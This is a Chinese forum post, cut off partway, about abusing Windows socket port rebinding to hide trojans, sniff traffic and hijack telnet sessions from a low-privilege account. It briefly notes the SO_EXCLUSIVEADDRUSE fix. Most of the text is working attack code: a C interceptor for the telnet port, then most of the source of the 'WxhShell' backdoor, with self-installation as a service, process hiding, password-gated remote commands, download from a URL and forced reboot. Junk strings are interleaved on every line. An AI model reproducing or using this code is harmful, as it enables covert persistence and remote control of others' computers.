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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wLuv6\E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }4c o)B"  
`h;k2Se5  
  saddr.sin_family = AF_INET; 8GJdRL(  
'+<(;2Z vL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  Z:2I/  
Y^$HrI(vq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e2CV6F@a  
m9M FwfZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^SEdA=!  
E04l|   
  这意味着什么?意味着可以进行如下的攻击: OH<?DcfeL  
_i}wK?n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B68H&h]D#'  
$ &5w\P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]T O/kl/  
8F;>5i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  \d.F82  
E]^5I3=O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YHxbDf dA  
uK*Nu^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xu%'GZ,o9  
5,+\`!g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~4.r^)\  
.uZ7 -l  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zxD,E@lF  
h~HB0^|  
  #include t[.W$1=  
  #include +R$?2  
  #include zLjgCS<7  
  #include    V7CoZnz  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $]d*0^J 6  
  int main()  vfvlB[  
  { ~JZ3a0$^  
  WORD wVersionRequested; bk#xiuwT  
  DWORD ret; <2Y0{ 8)  
  WSADATA wsaData; vg%QXaM  
  BOOL val; e]W0xC-  
  SOCKADDR_IN saddr; ayp b  
  SOCKADDR_IN scaddr; ;cP8?U  
  int err; D\L!F6taS  
  SOCKET s; $7gB_o$zz  
  SOCKET sc; 8q_0,>w%  
  int caddsize; vX1uR]A[  
  HANDLE mt; Z-Wfcnk  
  DWORD tid;   i1*C{Lf;%)  
  wVersionRequested = MAKEWORD( 2, 2 ); dBEIMn@  
  err = WSAStartup( wVersionRequested, &wsaData ); SPy3~Db-o  
  if ( err != 0 ) { =TcOnQj  
  printf("error!WSAStartup failed!\n"); y]qsyR18i  
  return -1; /J%do]PDl  
  } ^KHLBSc:  
  saddr.sin_family = AF_INET; XDmbm*~i  
   w$Ux?y- L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hYt7kq!"  
Ygj6(2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TL-i=\{L:d  
  saddr.sin_port = htons(23); L=A\ J^%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )5l u.R%  
  { O8RzUg&  
  printf("error!socket failed!\n"); )LFD6\z1pl  
  return -1; >[K?fJ$+  
  } [!+D <Y  
  val = TRUE; +^Jwo)R'b  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 mZoD033H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) EZAm)5:]A  
  { B3b,F#  
  printf("error!setsockopt failed!\n"); E2:D(7(;l  
  return -1; {g=b]yg\o  
  } zGs|DB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H1UL.g%d=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _"f<Ol[!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |HgfV@Han  
2ij/N%l  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]Y5dl;xrM)  
  {  q6)N*?  
  ret=GetLastError(); MSB%{7'o  
  printf("error!bind failed!\n"); [t}):}~F|  
  return -1; "Z9^}  
  } O]_={%   
  listen(s,2); Q x.jCy@  
  while(1) -- S"w@  
  { kgc.8  
  caddsize = sizeof(scaddr); NKh,z& _5-  
  //接受连接请求 Ar~{= X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }:^XX0:FK  
  if(sc!=INVALID_SOCKET) .HDebi  
  { _h~p:=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /,t| !)\]  
  if(mt==NULL) o[{&!t  
  { nOuN|q=C  
  printf("Thread Creat Failed!\n"); XPVV+.  
  break; 0# UAjT3  
  } =F[lg?g  
  } 8>v7v&Bh|  
  CloseHandle(mt); pP oxVvG{  
  } 5:_~mlfi  
  closesocket(s); A?sNXhh  
  WSACleanup(); |@q9{h7  
  return 0; FLEg0/m0  
  }   (WkTQRcN,  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9dw0<qw1%  
  { YiBOi?h9  
  SOCKET ss = (SOCKET)lpParam; jQ^Yj"6  
  SOCKET sc; *|CLO|B)  
  unsigned char buf[4096]; q|/!0MU"  
  SOCKADDR_IN saddr; $uTlbAuv  
  long num; .Wh6(LDY(  
  DWORD val; 6i^0T  
  DWORD ret; }kv)IJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o:f|zf> i<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R>` ih&,)  
  saddr.sin_family = AF_INET; 6|i`@|#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?^eJ:  
  saddr.sin_port = htons(23); - Ra\^uz  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q>c+bo 6  
  { U0zW9jB  
  printf("error!socket failed!\n"); &7lk2Q\  
  return -1; DZF[dxH  
  } m_~y   
  val = 100; :Z]/Q/$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '|J)ds  
  { H2s*s[T -  
  ret = GetLastError(); \(wn@/yP'  
  return -1; c-v*4b/d  
  } &boj$ k!g[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ho(5r5SNE  
  { PlF89-  
  ret = GetLastError();  %L{  
  return -1; tc!!W9{69  
  } ipgN<|`?@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (xjqB{U  
  { w 5!ndu  
  printf("error!socket connect failed!\n"); / O|Td'Z  
  closesocket(sc); WFQ*s4 R(  
  closesocket(ss); AfuXu@UZ_/  
  return -1; b*@&c9I;q  
  } 5/zf x  
  while(1) ~r{\WZ.  
  { +.XZK3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N:"M&E UM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Qd 9-u)L<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H^]Nmd8Q)  
  num = recv(ss,buf,4096,0); F]/L!   
  if(num>0) o",f(v&u%  
  send(sc,buf,num,0); 5B8V$ X  
  else if(num==0) 8Pl+yiB/o`  
  break; `%KpTh  
  num = recv(sc,buf,4096,0); ~R"]LbeY  
  if(num>0) ^aGZJiyJ  
  send(ss,buf,num,0); s ZlJ/_g  
  else if(num==0) %AzPAWcN  
  break; wUh3Hd'  
  } rTWh(8T  
  closesocket(ss); wrZ7Sr!/V  
  closesocket(sc); H9oXZSm  
  return 0 ; U-wq- GT  
  } OpWC2t)  
*u:;:W&5y  
(=S"Kvb~#  
========================================================== b#?ai3E  
12%z3/i  
下边附上一个代码,,WXhSHELL l044c,AW(  
=;'ope(?S  
========================================================== XhHel|!g:  
"ZA$"^  
#include "stdafx.h" 'xLM>6[wz  
E|F!S(.:,M  
#include <stdio.h> GFASF,+  
#include <string.h> A{DIp+  
#include <windows.h> T:w2  
#include <winsock2.h> X~IRpzC  
#include <winsvc.h> Ak %no3:9  
#include <urlmon.h> CrRQPgl+u  
CPF>^Mp#  
#pragma comment (lib, "Ws2_32.lib") +l[Z2mW  
#pragma comment (lib, "urlmon.lib") X\c1q4oB[  
>q} !>k$B  
#define MAX_USER   100 // 最大客户端连接数 z$I[kR%I{  
#define BUF_SOCK   200 // sock buffer mK7^:(<.LO  
#define KEY_BUFF   255 // 输入 buffer O]$*EiO\  
v;N1'  
#define REBOOT     0   // 重启 pAUfG^v  
#define SHUTDOWN   1   // 关机 eCPKpVhP  
6\)8mK  
#define DEF_PORT   5000 // 监听端口 z1{E:~f  
Hm.&f2|(  
#define REG_LEN     16   // 注册表键长度 WcZo+r  
#define SVC_LEN     80   // NT服务名长度 "FLD%3l  
)$lSG}WD  
// 从dll定义API ,\m;DR1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t9$AvE#a!=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q)%8NVs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U l7pxzj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n}ZBU5_  
X,iuz/Q  
// wxhshell配置信息 3u"J4%zg|L  
struct WSCFG { YN5OuKMUd'  
  int ws_port;         // 监听端口 QvK]<HEr  
  char ws_passstr[REG_LEN]; // 口令 kw}ISXz v  
  int ws_autoins;       // 安装标记, 1=yes 0=no u #=kb5}{  
  char ws_regname[REG_LEN]; // 注册表键名 lo>-}xd  
  char ws_svcname[REG_LEN]; // 服务名 FgHB1x4;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =JySY@?9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _I -0,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]Nd'%M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T`RQUJO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X"qbB4 (I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WW8L~4Zy  
x#}j3" PP  
}; kw-Kx4 )  
q=E}#[EgY  
// default Wxhshell configuration Z>MJ0J76]  
struct WSCFG wscfg={DEF_PORT, O+8ApicjTc  
    "xuhuanlingzhe", U7f&N  
    1, v^lm8/}NO  
    "Wxhshell", OL mBh3&  
    "Wxhshell", C Sk  
            "WxhShell Service", ~A:;?A'.  
    "Wrsky Windows CmdShell Service", YRM6\S)py  
    "Please Input Your Password: ", g:HbmXOBpj  
  1, $Zu4tuXA  
  "http://www.wrsky.com/wxhshell.exe", 6!}m$Dvt~  
  "Wxhshell.exe" ]TTJrC:  
    }; +G=C~X  
dn.c#,Y  
// 消息定义模块 b09#+CH?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K~hlwjrt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l<)JAT;P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k}Clq;G  
char *msg_ws_ext="\n\rExit."; ;KjMZ(Iil1  
char *msg_ws_end="\n\rQuit."; BUy}Rn  
char *msg_ws_boot="\n\rReboot..."; UXdC<(vK  
char *msg_ws_poff="\n\rShutdown..."; Rp@}9qijb  
char *msg_ws_down="\n\rSave to "; BKP!+V/  
C6T 9  
char *msg_ws_err="\n\rErr!"; s)7`r6w  
char *msg_ws_ok="\n\rOK!"; ?k7/`g U  
 d7-F&!sQ  
char ExeFile[MAX_PATH]; '?!<I  
int nUser = 0; !E>3N:  
HANDLE handles[MAX_USER]; A`8}J4  
int OsIsNt; @SVEhk#  
ea[a)Z7#  
SERVICE_STATUS       serviceStatus; NNpa69U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xk fUPbU  
Y<$"]@w  
// 函数声明 ABYW1K=  
int Install(void); v_ F?x!  
int Uninstall(void); !\|@{UJk/  
int DownloadFile(char *sURL, SOCKET wsh); P9HPr2  
int Boot(int flag); 6I.+c  
void HideProc(void); E=U^T/  
int GetOsVer(void); E":":AC#  
int Wxhshell(SOCKET wsl); /)<7$  
void TalkWithClient(void *cs); YwTtI ID%  
int CmdShell(SOCKET sock); 6nk|*HPz  
int StartFromService(void); _f2iz4  
int StartWxhshell(LPSTR lpCmdLine); g8@i_  
"lj:bxM2C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R8Ei:f}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E ^>7jf09,  
/ z>8XM&  
// 数据结构和表定义 5suSR;8  
SERVICE_TABLE_ENTRY DispatchTable[] = a{YVz\?d}  
{ pDS4_u  
{wscfg.ws_svcname, NTServiceMain}, |8?{JKsg  
{NULL, NULL} L1w4WFWO  
}; w9?wy#YI  
k5\ zGsol  
// 自我安装 j W]c9u  
int Install(void) 7.'j~hJL  
{ Z"&ODVP  
  char svExeFile[MAX_PATH]; O*"wQ50Ou  
  HKEY key; @)B5^[4(;  
  strcpy(svExeFile,ExeFile); IaqN@IlWb  
IZ ha* 7  
// 如果是win9x系统,修改注册表设为自启动 N@ tb^M  
if(!OsIsNt) { yq^$H^_O p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9 CSz<[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fC:\Gh5  
  RegCloseKey(key); XSIO0ep  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9K_HcLO%y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d`*vJ#$> 2  
  RegCloseKey(key); os+wTUR^  
  return 0; "[Lp-4A\  
    } iFT3fP'> 5  
  } <t2?Oii;  
} C /VXyl@o  
else { M4]|(A  
TV2:5@33  
// 如果是NT以上系统,安装为系统服务 dNmX<WXG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eNKdub  
if (schSCManager!=0) J)~=b_'<  
{ 35\0g&  
  SC_HANDLE schService = CreateService gKEvgXOj  
  ( )7TTRL  
  schSCManager, unB "dE  
  wscfg.ws_svcname, jtJU 5Q  
  wscfg.ws_svcdisp, W# /Ol59  
  SERVICE_ALL_ACCESS, !S<~(Ujyw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZuON@(  
  SERVICE_AUTO_START, p`ZGV97  
  SERVICE_ERROR_NORMAL, D{}\7qe  
  svExeFile, pEP.^[  
  NULL, Lf<9GYNy>`  
  NULL, 7tnzgtal  
  NULL, 9]9(o  
  NULL, Yf9L~K  
  NULL 79fg%cSb  
  ); cZ,_O~  
  if (schService!=0) ot6 P q}  
  { O`| ri5d  
  CloseServiceHandle(schService); ~-zC8._w3r  
  CloseServiceHandle(schSCManager); Sy~Mh]{E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A`8If  
  strcat(svExeFile,wscfg.ws_svcname); YDL)F<Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p5hP}Z4r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O2B$c\pw  
  RegCloseKey(key); \FM- FQK  
  return 0; w,$17+]3  
    } |0 VP^md  
  } EtG)2)  
  CloseServiceHandle(schSCManager); %stktVDAP  
} )<&QcO_  
} AEJm/8,T  
 glUP  
return 1; L i^V?  
} z@j&vW  
>a K&T"  
// 自我卸载 $P~a   
int Uninstall(void) AJ}Q,E  
{ pQi -  
  HKEY key; WBdb[N6\  
b"V-!.02  
if(!OsIsNt) { wz=I+IN:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8a {gEZT,  
  RegDeleteValue(key,wscfg.ws_regname); j.*}W4`Q_  
  RegCloseKey(key); a{=~#u8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9|,AhyhO  
  RegDeleteValue(key,wscfg.ws_regname); |Ca n  
  RegCloseKey(key); #c_ZU\" h"  
  return 0; aMWNZv  
  } )1ciO+_  
} a6C ~!{'nW  
} B'yrXa|P  
else { i|e-N?l  
k,J?L-F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -q27N^A0  
if (schSCManager!=0) $I%]jAh6  
{ t1S\M%?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5Z'pMkn3  
  if (schService!=0) d!cx%[  
  { z\, w$Ef+  
  if(DeleteService(schService)!=0) { tFCeE=4%  
  CloseServiceHandle(schService); 4T" P #)z  
  CloseServiceHandle(schSCManager); t<-Iiq+tL  
  return 0; &%<G2x$  
  } A'T! og|5  
  CloseServiceHandle(schService); ,h"M{W$  
  } ]v#Q\Q8>  
  CloseServiceHandle(schSCManager); \BA_PyS?W+  
} *hba>LZ  
} 8oK30?  
'"6VfF)*  
return 1; g"xZ{k_3  
} ;XjKWM;  
YAD9'h]d\  
// 从指定url下载文件 #*fB~Os:  
int DownloadFile(char *sURL, SOCKET wsh) f-PDgs   
{ l\H9Io3  
  HRESULT hr; MEE]6nU  
char seps[]= "/"; U<t Qj`  
char *token; %H54^Z<y  
char *file; `C3F?Lch  
char myURL[MAX_PATH]; CR<*<=rI  
char myFILE[MAX_PATH]; -1[ri8t;nV  
4&tY5m>  
strcpy(myURL,sURL); |e!Sm{#!  
  token=strtok(myURL,seps); Xa36O5$4]9  
  while(token!=NULL) NoI=t  
  { 4JucNGv  
    file=token; H4UnF5G  
  token=strtok(NULL,seps); ]>!]X*\9  
  } =^6]N~*,D  
I3$v-OiL  
GetCurrentDirectory(MAX_PATH,myFILE); ~Oolm_+{}  
strcat(myFILE, "\\"); :wMZ&xERDZ  
strcat(myFILE, file); ,^/;!ErR$  
  send(wsh,myFILE,strlen(myFILE),0); $OmtN"  
send(wsh,"...",3,0); Rzz*[H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O *CKyW_$t  
  if(hr==S_OK) 7#Mi`W  
return 0; 4o'0lz]  
else rLp0VKPe  
return 1; Oa{M9d,l  
XMpPG~XdN  
} KY@k4S+  
} ZV$_  
// 系统电源模块 /Z-|E  
int Boot(int flag) P'zA=Rd&~>  
{ `CW=*uBH  
  HANDLE hToken; M}HGFN  
  TOKEN_PRIVILEGES tkp; L,n'G%  
?'^xO:  
  if(OsIsNt) { R6!t2gdKe@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K@+&5\y]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hD sFsG  
    tkp.PrivilegeCount = 1; 23 3jT@Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iX}EJD{f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (.Sj"6+  
if(flag==REBOOT) { RxcX\:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k |M  
  return 0; tMC<\e  
} . F_pP2A  
else { C4ge_u#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kz]qk15w  
  return 0; U",kAQY  
} iWO16=  
  } L -<!,CASW  
  else { p%8y!^g  
if(flag==REBOOT) { ;=aj)lemCr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) </Ja@%  
  return 0; 4; y*y tY*  
} KftZ ^mk+p  
else { ?$%#y u#.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZE#A?5lb  
  return 0; b@"#A8M  
} Dy mf  
} WQK ~;GV-  
ZDMS:w.'T  
return 1; *i?#hTw  
} PS**d$ S  
b dP @^Q  
// win9x进程隐藏模块 "]B:QeMeF!  
void HideProc(void) w a2?%y_G  
{ ,'Zs")Ydp  
Z0 @P1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R0HzNk  
  if ( hKernel != NULL ) !E#FzY!}Pl  
  { f@rR2xZoQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f:bUM/Ud  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }fU"s"  
    FreeLibrary(hKernel); =*>ri  
  } y<|8OTT  
P-U9FKrt  
return; v)1@Ew=Y%  
} b*Sw") #  
lsq\CavbM  
// 获取操作系统版本 ';'gKX!9V  
int GetOsVer(void) *sz:c3{_  
{ [&eG>zF"  
  OSVERSIONINFO winfo; oR[-F+__  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NpI "XQ  
  GetVersionEx(&winfo); Q!.JV. (  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Cs9o_Z~  
  return 1; E7 mB=bt>=  
  else Tg/?v3M88  
  return 0; jJbS{1z  
} DsX+/)d  
=/kwUjC?  
// 客户端句柄模块 C@b-)In  
int Wxhshell(SOCKET wsl) ?vh1 >1D  
{ r|av|7R  
  SOCKET wsh; cfSQqH  
  struct sockaddr_in client; *{<46 0`!q  
  DWORD myID; pmfL}Dn  
A9Kt^HR  
  while(nUser<MAX_USER) Iw;i ".  
{ yi.GD~69  
  int nSize=sizeof(client); L5DeLF+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?LSwJ @#  
  if(wsh==INVALID_SOCKET) return 1; =W[M=_0u  
q8 SHFKE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :6TLT-B  
if(handles[nUser]==0) z#HNJAQ#|  
  closesocket(wsh); <P@ "VwUX  
else %_ (Xn  
  nUser++; 2=,O)g  
  } ,8@q2a/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yU|=)p5  
#b,! N  
  return 0; >1BDt:G36  
} p54 e'Zb  
Uc<BLu;  
// 关闭 socket ^Ycn&`s  
void CloseIt(SOCKET wsh) ,8[R0wsBaz  
{ B,b^_4XX$  
closesocket(wsh); R!>l7p/|H)  
nUser--; eNDc220b  
ExitThread(0); K?@x'q1  
} b Bkg/p]  
G?+0#?'Y  
// 客户端请求句柄 {VE1c'E"V?  
void TalkWithClient(void *cs) e'X"uH Xt.  
{ T_j0*A $  
/lLG|aAe  
  SOCKET wsh=(SOCKET)cs; }6To(*  
  char pwd[SVC_LEN]; 9]gV#uF  
  char cmd[KEY_BUFF]; m$`4.>J  
char chr[1]; ~,m5dP#[bV  
int i,j; C]a iu  
&[t} /+)  
  while (nUser < MAX_USER) { yRWZ/,9x   
%Vb~}sT:  
if(wscfg.ws_passstr) { 3Vk<hBw2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TBmmC}PEd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _b! TmS#F1  
  //ZeroMemory(pwd,KEY_BUFF); Ssd7]G+n:  
      i=0; \iH\N/  
  while(i<SVC_LEN) { LHMA-0$?)  
N&G; `  
  // 设置超时 R:y u  
  fd_set FdRead; TOsHb+Uv  
  struct timeval TimeOut; mW)C=X%  
  FD_ZERO(&FdRead); >mMmc!u>G  
  FD_SET(wsh,&FdRead); r)gtx!bx  
  TimeOut.tv_sec=8; :+<GJj_d+  
  TimeOut.tv_usec=0; }LwKi-G?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \|7Y"WEQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;HmQRiCg  
iza.' Mm~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T# 3`&[  
  pwd=chr[0]; o(YF`;OhvS  
  if(chr[0]==0xd || chr[0]==0xa) { vPsf{[Kr  
  pwd=0; r5Xi2!  
  break; @rlL'|&X*  
  } gcF V$  
  i++; U=N]XwjVK<  
    } KV|ywcGhT  
cJ#%OU3 p  
  // 如果是非法用户,关闭 socket xL|4'8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d=a$Gd_$  
} l)qGG$7$  
;f[@zo><r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9=G dj!L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (h27SLYm  
JT*Pm"}  
while(1) { An=Q`Uxt/  
+zzS  
  ZeroMemory(cmd,KEY_BUFF); 9S{?@*V  
vW03nt86  
      // 自动支持客户端 telnet标准   oT^r  
  j=0; l?zWi[Zf  
  while(j<KEY_BUFF) { y0 qq7Dmu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UY&DXIPM  
  cmd[j]=chr[0]; qR8 BS4q_p  
  if(chr[0]==0xa || chr[0]==0xd) { 5YgUk[J  
  cmd[j]=0; o88Dz}a  
  break; jIL$hqo  
  } /[Sy;wn  
  j++; !@@rO--&  
    } C lzz!v  
ppPzI,  
  // 下载文件 E3E$_<^  
  if(strstr(cmd,"http://")) { W'<cAg?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x^JjoI2vf  
  if(DownloadFile(cmd,wsh)) ;@I}eZ,f$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Q P&A >]7  
  else :@q9ll`6u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l%9nA.M'  
  } ,__|SnA.  
  else { 6882:,q  
0Z>oiBr4  
    switch(cmd[0]) { e,Fe,5E&g  
  1Qgd^o:d  
  // 帮助 IXmO1*o@  
  case '?': { sTG e=}T8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N3g?gb"Ex)  
    break; =Pg u?WU@  
  } QprzlxB  
  // 安装 "rI By  
  case 'i': { Y/w) VV  
    if(Install()) 2F#R;B#2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AAt<{  
    else +qEvz<kch  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nW (wu!2  
    break; to*<W,I  
    } ))>)qav  
  // 卸载 ^NTOZ0x~#  
  case 'r': { `?L-{VtM3*  
    if(Uninstall()) eX>X=Ku  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $0K%H  
    else y3!=0uPf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u!DSyHR '  
    break; weiqt *,8  
    } #UH7z 4u  
  // 显示 wxhshell 所在路径 6\9 9WQ  
  case 'p': { ?$^qcpJCp  
    char svExeFile[MAX_PATH]; fE/8;v!=  
    strcpy(svExeFile,"\n\r"); l@om2|B  
      strcat(svExeFile,ExeFile); E$[\Fk}S  
        send(wsh,svExeFile,strlen(svExeFile),0); ~!!>`x  
    break; YA>du=6y\  
    } ]-aeoa#  
  // 重启 0R2 AhA#  
  case 'b': { (&$|R\W.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .SdEhW15)  
    if(Boot(REBOOT)) 4 1TB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5yQv(<~*G  
    else { f.=4p^  
    closesocket(wsh); <z|? C  
    ExitThread(0); Al`[Iu&  
    } v=|BqG`  
    break; $E4W{ad2jW  
    } j]<T\O>t>  
  // 关机 aM9St!i  
  case 'd': { [,a O*7 N  
